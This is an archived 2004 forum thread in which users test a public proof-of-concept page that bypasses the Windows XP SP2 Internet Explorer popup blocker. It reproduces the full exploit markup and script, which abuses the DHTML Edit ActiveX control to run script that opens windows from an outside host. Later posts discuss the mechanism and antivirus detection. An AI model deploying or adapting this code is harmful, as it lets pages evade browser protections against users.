Valhalla Legends Forums Archive | General Discussion | Defeating XP SP2 Popup Blocker

AuthorMessageTime
iago
http://www.malware.com/flopup.html

Can somebody confirm that that works to block SP2's popup blocker? I don't have an SP2 machine handy to test it on.  The code for it is:

[code]<body onload="setTimeout('  main()  ',1000)">
<object
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="1"
height="1"
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>

<SCRIPT>

// 10.11.04 http://www.editive.com

function shellscript()
{
open("http://www.malware.com/flywin.html","_blank","scrollbar=no");
showModalDialog("http://www.malware.com/flywin.html");
}

function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT>
<br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center>[/code]
December 10, 2004, 9:06 PM
kamakazie
Works here, that code bypasses the popup blocker.
December 10, 2004, 9:39 PM
Myndfyr
That's because it doesn't actually use popups (the popup blocker blocks window.open() in Javascript).  That COM class is "DHTML Edit Control Safe for Scripting for IE5" so I'm not sure what he did in the web page dialog object, but it sucks.  Wonderful to have.
December 12, 2004, 4:53 AM
iago
In any case, it never showed up with Firefox.  So I win :)
December 12, 2004, 6:03 AM
hismajesty
when I went to that page with IE it wanted me to install frontpage!
December 12, 2004, 11:55 PM
peofeoknight
Popups are becoming less of a problem. Nowadays I am browsing with javascript turned off altogether because of annoying divs with ads in them sliding across my screen, etc.
December 13, 2004, 9:38 PM
Myndfyr
At work:

[quote]
Access Denied (content_filter_denied)


Your request was denied because of its content categorization: "Hacking;Information Technology" 


For assistance, contact your network support team. 
[/quote]
December 13, 2004, 10:53 PM
iago
Well, it IS malware.com.  At the moment, we don't have content filters at work, but we should.
December 14, 2004, 12:05 AM
Spht
*yawn* It was no match for me, iago.

http://www.valhallalegends.com/spht/no_cigar.gif

Get a REAL browser!
December 24, 2005, 3:31 PM
Maddox
McAfee detected an "IE-exploit."
December 27, 2005, 6:49 AM

Search